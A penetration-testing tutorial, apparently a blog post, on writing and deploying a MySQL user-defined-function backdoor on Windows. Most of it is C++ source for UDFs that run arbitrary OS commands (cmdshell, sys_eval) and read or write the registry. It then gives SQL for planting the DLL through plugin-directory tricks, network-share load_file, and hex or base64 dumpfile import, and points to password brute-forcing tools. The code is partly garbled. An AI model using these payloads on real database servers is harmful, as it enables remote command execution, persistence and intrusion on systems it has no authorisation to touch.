Penetration testing MySQL extended UDF backdoor principle and code writing

1. What is MySQL UDF

UDF is an interface provided by Mysql for users to implement their own functions. In order for the UDF mechanism to work, the function must be written in C or C++, and the operating system must support dynamic loading. This article mainly introduces methods of UDF development and utilization.

2. UDF development

Operating system: Windows 10

Test environment: PHPStudy + Mysql 5.5 (x64)

Compiler: VS2015

2.1 Compiler Method

  • MySQL source code package

Download the source code package of the corresponding version from the MySQL official website, and download the source code of the corresponding version of MySQL back. Extract the include folder and lib folder to the C++ project path.

http://mirror.yandex.ru/mirrors/ftp.mysql.com/Downloads/MySQL-5.5/mysql-5.5.59-winx64.zip

  • VS2015 Configuration-Project Properties

    Place MySQL’s include and lib folders after the C++ project path. The properties are configured as follows:

    • include: VC++ directory->include directory->add include directory
    • lib: VC++ directory->Library directory->Add lib directory
    • libmysql.lib: Linker->Additional Dependencies->Add libmysql.lib

2.2 Debugging Method

UDF adds debugging OutputDebugStringA(); to the program code to output debugging information. By outputting corresponding debugging information in each branch, you can obtain the current running status.

OutputDebugStringA("--UDF:my_name() is called");

2.3 Use UDF extension

//Register function
CREATE FUNCTION about RETURNS string SONAME "mysql_udf_c + + .dll";
// unload function
Drop function about;
// use function
select about();
// verify
select * from mysql.func where name = 'cmdshell';

2.4 CPP source code ideas

  • Execute CMDSHELL
    How to use:
# Create cmdshell function
CREATE FUNCTION cmdshell RETURNS int SONAME "mysql_udf_c + + .dll";
# Execute the shell function. If no path is added, the default path is in the data directory of mysql. For example: "D:\phpStudy\MySQL\data\helllo.txt"
select cmdshell("echo hello>>helllo.txt");
# Unregister the cmshell function
Drop function cmdshell;

The CPP source code is as follows:

#include <winsock.h>
#include <mysql.h>
#ifndef UNICODE
#define UNICODE
#endif
#pragma comment(lib, "netapi32.lib")

#include <stdio.h>
#include <windows.h>
#include <lm.h>


//--------cmdshell
extern "C" __declspec(dllexport)my_bool cmdshell_init(UDF_INIT *initid,
UDF_ARGS *args,
char*message)
{ //Parameter length
unsigned int i = 0;
if (args->arg_count == 1
& amp; & amp; args->arg_type[i] == STRING_RESULT) {
//return to normal
return 0;
}
else {
strcpy(
message
, "Expected exactly one string type parameter"
);
//Execution failed
return 1;
}
}
extern "C" __declspec(dllexport)my_ulonglong cmdshell(UDF_INIT *initid,
UDF_ARGS *args,
char*result,
char *error)
{
    //Use the sysytem function to execute the command
// Execute the "net user >> hello.txt" command, the actual path is D:\phpStudy\MySQL\data\hello.txt
// Executing numbers such as: select cmdshell("1"); will cause MySQL to end the service.
return system(args->args[0]);

}
extern "C" __declspec(dllexport)void cmdshell_deinit(
UDF_INIT *initid)
{

if (initid->ptr)
{
free(initid->ptr);
}
}
  • echo shell

Echoing shell writing attempts has the same principle as shell execution commands without echoing.
The core principle is to create a pipe, read the command result into the pipe and then close the pipe.

How to use:

# Create sys_eval function
CREATE FUNCTION sys_eval RETURNS string SONAME "mysql_udf_c + + .dll";
# Execute the shell function. If no path is added, the default path is in the data directory of mysql. For example: "D:\phpStudy\MySQL\data\helllo.txt"
select sys_eval("echo hello>>helllo.txt");
# Unregister the cmshell function
Drop function sys_eval;

The CPP source code is as follows:

#include <winsock.h>
#include <mysql.h>


#ifndef UNICODE
#define UNICODE
#endif
#pragma comment(lib, "netapi32.lib")

#include <stdio.h>
#include <windows.h>
#include <lm.h>


//--------
extern "C" __declspec(dllexport)my_bool sys_eval_init(UDF_INIT *initid,
UDF_ARGS *args,
char*message)
{ //Parameter length
unsigned int i = 0;
if (args->arg_count == 1
& amp; & amp; args->arg_type[i] == STRING_RESULT) {
return 0;
}
else {
strcpy(
message
, "Expected exactly one string type parameter"
);
return 1;
}
}
extern "C" __declspec(dllexport)char* sys_eval(UDF_INIT *initid
, UDF_ARGS *args
, char* result
, unsigned long* length
, char *is_null
, char *error)
{
FILE *pipe;
char buff[1024];
unsigned long outlen, linelen;

    // Allocate memory
result = (char*)malloc(sizeof(char));
outlen = 0;
    //Create pipe
pipe = _popen(args->args[0], "r");
    //Read pipe data
while (fgets(buff, sizeof(buff), pipe) != NULL) {
linelen = strlen(buff);
result = (char*)realloc(result, outlen + linelen);
//Copy the pipe content into the return result
strncpy(result + outlen, buff, linelen);
outlen = outlen + linelen;
}
    // close the pipe
_pclose(pipe);
\t
    // When *is_null is set to 1, the return value is NULL
if (!(*result) || result == NULL) {
*is_null = 1;
}
else {
result[outlen] = 0x00;
*length = strlen(result);
}
    //return results
return result;

}
extern "C" __declspec(dllexport)void sys_eval_deinit(
UDF_INIT *initid)
{

if (initid->ptr)
{
free(initid->ptr);
}
}
  • Registry operations

The core code is mainly implemented by the following APIs related to registry operations:

RegQueryInfoKey
RegEnumValue
RegQueryValueEx
RegCloseKey
RegCreateKeyEx
RegSetValueEx
RegCloseKey
    • Registry reading

How to use:

# Create regread function
CREATE FUNCTION regread RETURNS string SONAME "mysql_udf_c + + .dll";
#Execute regread function
select regread("HKEY_CURRENT_USER","Software\Microsoft\Internet Explorer\Main","Start Page");
# Unregister the regread function
Drop function regread;

The CPP source code is as follows:

#include <winsock.h>
#include <mysql.h>

#include <stdio.h>
#include <windows.h>


#define MAX_KEY_LENGTH 255
#define MAX_VALUE_NAME 16383

//--------
extern "C" __declspec(dllexport)my_bool regread_init(UDF_INIT *initid,
UDF_ARGS *args,
char*message)
{

//Determine whether the parameters are correct. The three parameters must be strings.
if (args->arg_type[0] == STRING_RESULT & amp; & amp; // Primary key
args->arg_type[1] == STRING_RESULT & amp; & amp; // Key item
args->arg_type[2] == STRING_RESULT // key value
)
{
return 0;
}
else {
strcpy(
message
, "Expected exactly three string type parameters"
);
return 1;
}
}
extern "C" __declspec(dllexport)char* regread(UDF_INIT *initid
, UDF_ARGS *args
, char* result
, unsigned long* length
, char *is_null
, char *error)
{
HKEY hRoot;
// Determine the root key
if (strcmp("HKEY_LOCAL_MACHINE", (char*)(args->args)[0]) == 0)
hRoot = HKEY_LOCAL_MACHINE;
else if (strcmp("HKEY_CLASSES_ROOT", (char*)(args->args)[0]) == 0)
hRoot = HKEY_CLASSES_ROOT;
else if (strcmp("HKEY_CURRENT_USER", (char*)(args->args)[0]) == 0)
hRoot = HKEY_CURRENT_USER;
else if (strcmp("HKEY_USERS", (char*)(args->args)[0]) == 0)
hRoot = HKEY_USERS;
else
{
initid->ptr = (char *)malloc(50 + strlen((args->args)[0]));
sprintf(initid->ptr, "unknow:%s\r\
", (args->args)[0]);
*length = strlen(initid->ptr);
return initialid->ptr;
}
\t

// Determine whether the root key exists
//Encoding conversion char to wchar
int len = MultiByteToWideChar(CP_ACP, 0, (args->args)[1], strlen((args->args)[1]), NULL, 0);
wchar_t* m_wchar = new wchar_t[len + 1];
MultiByteToWideChar(CP_ACP, 0, (args->args)[1], strlen((args->args)[1]), m_wchar, len);
m_wchar[len] = '\0';
HKEY aTestKey = NULL;
DWORD dwType = REG_SZ;
if (RegOpenKeyEx(hRoot,
m_wchar,
0,
KEY_READ,
& amp;aTestKey) != ERROR_SUCCESS
)
{
initid->ptr = (char *)malloc(50 + strlen((args->args)[1]));
sprintf(initid->ptr, "unknow:%s\r\
", (args->args)[1]);
*length = strlen(initid->ptr);
return initialid->ptr;
}



//Query key item
TCHAR achClass[MAX_PATH] = TEXT(""); // Specify a string to load the class name of this registry key
DWORD cchClassName = MAX_PATH; // Specify a variable to load the length of the lpClass buffer. Once returned, it is set to the number of bytes actually loaded into the buffer
DWORD cSubKeys = 0; // Number of subkeys
DWORD cbMaxSubKey; //Set the maximum subkey length
DWORD cchMaxClass; // Specify a variable to load the length of the longest class name of the children of this item
DWORD cValues; // A variable used to load the number of setting values for this item
DWORD cchMaxValue; //The longest name of value
DWORD cbMaxValueData; //The longest data of value
DWORD cbSecurityDescriptor; //The size of the security descriptor
FILETIME ftLastWriteTime; // Last write time

DWORD i, retCode;
DWORD dwSize;
TCHAR *wStr = new TCHAR[MAX_VALUE_NAME];
TCHARachValue[MAX_VALUE_NAME];
TCHAR data[MAX_VALUE_NAME];
DWORD cchValue = MAX_VALUE_NAME;
DWORD dBufSize; //return result length

// Get the class name and the value count.
retCode = RegQueryInfoKey(
aTestKey, // primary key handle
achClass, // Specify a string to load the class name of this registry key
& amp;cchClassName, // Specify a variable to load the length of the lpClass buffer. Once returned, it is set to the number of bytes actually loaded into the buffer
NULL, // reserved
& amp;cSubKeys, // A variable used to load (save) the number of subkeys of this item
& amp;cbMaxSubKey, // Specify a variable to load the length of the longest subitem of this item. Note that this length does not include the space terminating character.
& amp;cchMaxClass, // Specify a variable to load the length of the longest class name of the children of this item
& amp;cValues, // A variable used to load the number of setting values for this item
& amp;cchMaxValue, // Specify a variable to load the length of the longest value name of this item's children
& amp;cbMaxValueData, // Specify a variable to load the length of the buffer required to accommodate the longest value of this item.
& amp;cbSecurityDescriptor, // Load a variable with the length of the security descriptor
& amp;ftLastWriteTime); // Specify a structure to hold the last modification time of the item
\t
// Enum key value.
//Match the corresponding value
if(cValues)
{
for (i = 0, retCode = ERROR_SUCCESS; i < cValues; i + + )
{
cchValue = MAX_VALUE_NAME;
dwSize = MAX_VALUE_NAME;
achValue[0] = '\0';
data[0] = '\0';
retCode = RegEnumValue(aTestKey, i,
wStr,
&cchValue,
NULL,
NULL,
NULL,
NULL);
RegQueryValueEx(aTestKey, wStr,
NULL,
&dwType,
(LPBYTE)data,
&dwSize);

\t\t\t
//Encoding conversion char to wchar
int len = MultiByteToWideChar(CP_ACP, 0, (char*)(args->args)[2], strlen((char*)(args->args)[2]), NULL, 0);
wchar_t* m_wchar = new wchar_t[len + 1];
MultiByteToWideChar(CP_ACP, 0, (char*)(args->args)[2], strlen((char*)(args->args)[2]), m_wchar, len);
m_wchar[len] = '\0';


if (retCode == ERROR_SUCCESS & amp; & amp; wcscmp(wStr, m_wchar) == 0)
{
//printf("\
Key name: %ls\
Key value: %ls", wStr, data);
\t\t\t\t
//Get the target cache size required for conversion
dBufSize = WideCharToMultiByte(CP_OEMCP, 0, data, -1, NULL, 0, NULL, FALSE);
\t\t\t\t 
//Allocate target cache
result = new char[dBufSize];
memset(result, 0, dBufSize);
//Convert
int nRet = WideCharToMultiByte(CP_OEMCP, 0, data, -1, result, dBufSize, NULL, FALSE);
\t\t\t\t
}
}
}
delete[]wStr;
RegCloseKey(aTestKey);



// When *is_null is set to 1, the return value is NULL
if (!(*result) || result == NULL) {
*is_null = 1;
}
else {
result[dBufSize] = 0x00;
*length = strlen(result);
}
//return result
return result;
}
extern "C" __declspec(dllexport)void regread_deinit(
UDF_INIT *initid)
{

if (initid->ptr)
{
free(initid->ptr);
}
}
    • Registry write
      How to use:
# Create regread function
CREATE FUNCTION regwrite RETURNS string SONAME "mysql_udf_c + + .dll";
#Execute regread function
select regwrite("HKEY_CURRENT_USER","Software\Microsoft\Internet Explorer\Main","test","www.baidu.com");
# Unregister the regread function
Drop function regwrite;

The CPP source code is as follows:

#include <winsock.h>
#include <mysql.h>

#include <stdio.h>
#include <windows.h>

//--------
extern "C" __declspec(dllexport)my_bool regwrite_init(UDF_INIT *initid,
UDF_ARGS *args,
char*message)
{

//Determine whether the parameters are correct. The three parameters must be strings.
if (args->arg_type[0] == STRING_RESULT & amp; & amp; // Primary key
args->arg_type[1] == STRING_RESULT & amp; & amp; // Key item
args->arg_type[2] == STRING_RESULT & amp; & amp; // key
args->arg_type[3] == STRING_RESULT // Value written
)
{
return 0;
}
else {
strcpy(
message
, "Expected exactly four string type parameters"
);
return 1;
}
}
extern "C" __declspec(dllexport)char* regwrite(UDF_INIT *initid
, UDF_ARGS *args
, char* result
, unsigned long* length
, char *is_null
, char *error)
{


\t
HKEY hRoot;
// Determine the root key
if (strcmp("HKEY_LOCAL_MACHINE", (char*)(args->args)[0]) == 0)
hRoot = HKEY_LOCAL_MACHINE;
else if (strcmp("HKEY_CLASSES_ROOT", (char*)(args->args)[0]) == 0)
hRoot = HKEY_CLASSES_ROOT;
else if (strcmp("HKEY_CURRENT_USER", (char*)(args->args)[0]) == 0)
hRoot = HKEY_CURRENT_USER;
else if (strcmp("HKEY_USERS", (char*)(args->args)[0]) == 0)
hRoot = HKEY_USERS;
else
{
initid->ptr = (char *)malloc(50 + strlen((args->args)[0]));
sprintf(initid->ptr, "unknow:%s\r\
", (args->args)[0]);
*length = (unsigned long)strlen(initid->ptr);
return initialid->ptr;
}

HKEY hKey;
DWORD dwType = REG_SZ;
//Open the registry key, create it if it does not exist

// Determine whether the root key exists
// szSubKey encoding conversion char to wchar
int szSubKey_len = (int)MultiByteToWideChar(CP_ACP, 0, (args->args)[1], strlen((args->args)[1]), NULL, 0);
wchar_t* szSubKey = new wchar_t[szSubKey_len + 1];
MultiByteToWideChar(CP_ACP, 0, (args->args)[1], strlen((args->args)[1]), szSubKey, szSubKey_len);
szSubKey[szSubKey_len] = '\0';

size_t lRet = RegCreateKeyEx(hRoot, szSubKey, 0, NULL, REG_OPTION_NON_VOLATILE, KEY_ALL_ACCESS, NULL, & amp;hKey, NULL);
if (lRet != ERROR_SUCCESS)
{
initid->ptr = (char *)malloc(50 + strlen((args->args)[1]));
sprintf(initid->ptr, "unknow:%s\r\
", (args->args)[1]);
*length = (unsigned long)strlen(initid->ptr);
return initialid->ptr;
}

// Modify the registry key value, create it if it does not exist
//Conversion of key items modified by ValueName: char to wchar
int ValueName_len = MultiByteToWideChar(CP_ACP, 0, (args->args)[2], strlen((args->args)[2]), NULL, 0);
wchar_t* ValueName = new wchar_t[ValueName_len + 1];
MultiByteToWideChar(CP_ACP, 0, (args->args)[2], strlen((args->args)[2]), ValueName, ValueName_len);
ValueName[ValueName_len] = '\0';

Registry key value encoding conversion char to wchar
int data_len = MultiByteToWideChar(CP_ACP, 0, (args->args)[3], strlen((args->args)[3]), NULL, 0);
wchar_t* data = new wchar_t[data_len + 1];
MultiByteToWideChar(CP_ACP, 0, (args->args)[3], strlen((args->args)[3]), data, data_len);
data[data_len] = '\0';
// Calculate the length of wide bytes
DWORD iLen = (DWORD)wcslen(data);

//Registry key value modification
lRet = RegSetValueEx(hKey, ValueName, 0, dwType, (unsigned char*)data, sizeof(wchar_t)*data_len);
if (lRet != ERROR_SUCCESS)
{
initid->ptr = (char *)malloc(50 + strlen((args->args)[2]));
sprintf(initid->ptr, "unknow:%s\r\
", (args->args)[2]);
*length = (unsigned long)strlen(initid->ptr);
return initialid->ptr;
}
RegCloseKey(hKey);


// When *is_null is set to 1, the return value is NULL
if (!(*result) || result == NULL) {
*is_null = 1;

}
else {
sprintf(result, "success");
result[iLen] = 0x00;
*length = strlen(result);
}
//return result
return result;
}
extern "C" __declspec(dllexport)void regwrite_deinit(
UDF_INIT *initid)
{

if (initid->ptr)
{
free(initid->ptr);
}
}

3. UDF loading method

There are two ways to load UDF. One is to modify the MySQL configuration file. The second is to place the UDF in the plug-in directory specified by MySQL for loading.

3.1 Modify MySQL configuration file

Another way is to write a new MySQL configuration file with the plugin directory and pass it to mysqld.

  • Startup parameter configuration
//Change the directory location of the plugin through mysqld
mysqld.exe –plugin-dir=C:\temp\plugins\
//Write a new mysql configuration file and pass it to mysqld through the --defaults-file parameter
mysqld.exe --defaults-file=C:\temp\my.ini
  • my.ini configuration
[mysqld]
plugin_dir = C:\temp\plugins\

3.2 New plug-in directory

show variables like 'plugin_dir'; # View path

select 'xxx' into dumpfile 'D:\phpStudy\MySQL\lib::$INDEX_ALLOCATION'; # Create a new directory lib

select 'xxx' into dumpfile 'D:\phpStudy\MySQL\lib\plugin::$INDEX_ALLOCATION'; # Create a new directory plugin

3.3 Export UDF file to extension directory

  • load_file function

    • The load_file function supports network paths, and if the DLL is copied to a network share, it can be loaded directly and written to disk.
select load_file('\192.168.0.19\share\udf.dll') into dumpfile "D:\phpStudy\MySQL\lib\plugin\udf.dll";</ pre>
 <ul><li>Writes the entire DLL file to disk as a hex-encoded string.</li></ul>
 <pre>//Convert to hex function
select hex(load_file('D:\udf.dll')) into dumpfile "D:\udf.hex";
// import
select 0x4d5a...... into dumpfile "D:\phpStudy\MySQL\lib\plugin\udf.dll";
  • Create a table and insert binary data into the hex-encoded stream, where the binary data is connected using an update statement.
create table temp(data longblob);
insert into temp(data) values (0x4d5a9....);
update temp set data = concat(data,0x33c2ede077a383b377a383b377a383b369f110b375a383b369f100b37da383b369f107b375a383b35065f8b374a383b377a382b35ba383b3 69f10ab376a383b369f116b375a383b369f111b376a383b369f112b376a383b35269636877a383b300000000000000000000000000000000504500006486 060070b1834b00000000); select data from temp into dump file "D:\phpStudy\MySQL\lib\plugin\udf.dll";
  • Load the file directly on disk from the network share into the table created by the third method, using the “load data infile” statement to load locally. Convert the file to hex as shown above and cancel editing while writing to disk.
load data infile '\192.168.0.19\share\udf.hex' into table temp fields terminated by '@OsandaMalith' lines terminated by '@OsandaMalith' (data);
select unhex(data) from temp into dumpfile 'D:\phpStudy\MySQL\lib\plugin\udf.dll';
  • Upload binary files using the functions “to_base64” and “from_base64” introduced in MySQL 5.6.1 and MariaDB 10.0.5.
# Convert to base64
select to_base64(load_file('D:\udf.dll'));

# base64 export as DLL
select from_base64("Base64 encoding") into dumpfile "D:\phpStudy\MySQL\lib\plugin\udf.dll";

4. Mysql weak password

4.1 Brute force cracking program

  • Tool: hydra

  • CPP

MYSQL, MSSQL and Oracle password brute force C program implemented using linked list

http://blog.51cto.com/foxhack/35604

  • Python

https://github.com/chinasun021/pwd_crack/blob/master/mysql/mysql_crack.py

https://www.waitalone.cn/python-mysql-mult.html

  • Go

https://github.com/netxfly/x-crack

4.2 MySQL password encryption and decryption

5. WEB combination utilization

5.1 Backdoor Method

ExportMof

5.2 WEB penetration testing extension

php probe, PHPMyadmin

6. Forensic Analysis

//View system information
select @@version_compile_os,@@version_compile_machine,@@plugin_dir;

//View loaded functions
select * from mysql.func;

7. Reference

Mysql function extension UDF development

https://blog.csdn.net/albertsh/article/details/78567661

VS2015 configures C/C++-MySQL development environment

https://blog.csdn.net/daso_csdn/article/details/54646859

MySQL UDF (custom function)

https://www.cnblogs.com/raker/p/4377343.html

Debugging method of MySQL UDF – debugviewhttps://blog.csdn.net/swotcoder/article/details/18527

Detailed explanation of MySQL UDF execution command

http://www.360doc.cn/article/31784658_733287732.html

A penetration test using MySQL UDF https://m.sohu.com/a/224950139_354899/?pvid=000115_3w_a

24.4.2.2 UDF Calling Sequences for Aggregate Functions

https://dev.mysql.com/doc/refman/5.5/en/udf-aggr-calling.html

The failure experience of writing mysql UDF function under windows and the successful compilation experience under ubuntu

https://blog.csdn.net/watch_ch/article/details/54015948

Open source projects

https://github.com/mysqludf/lib_mysqludf_sys

8. Final renderings

The knowledge points of the article match the official knowledge files, and you can further learn related knowledge. MySQL entry skill treeSQL advanced skillsCTE and recursive query 70161 people are learning the system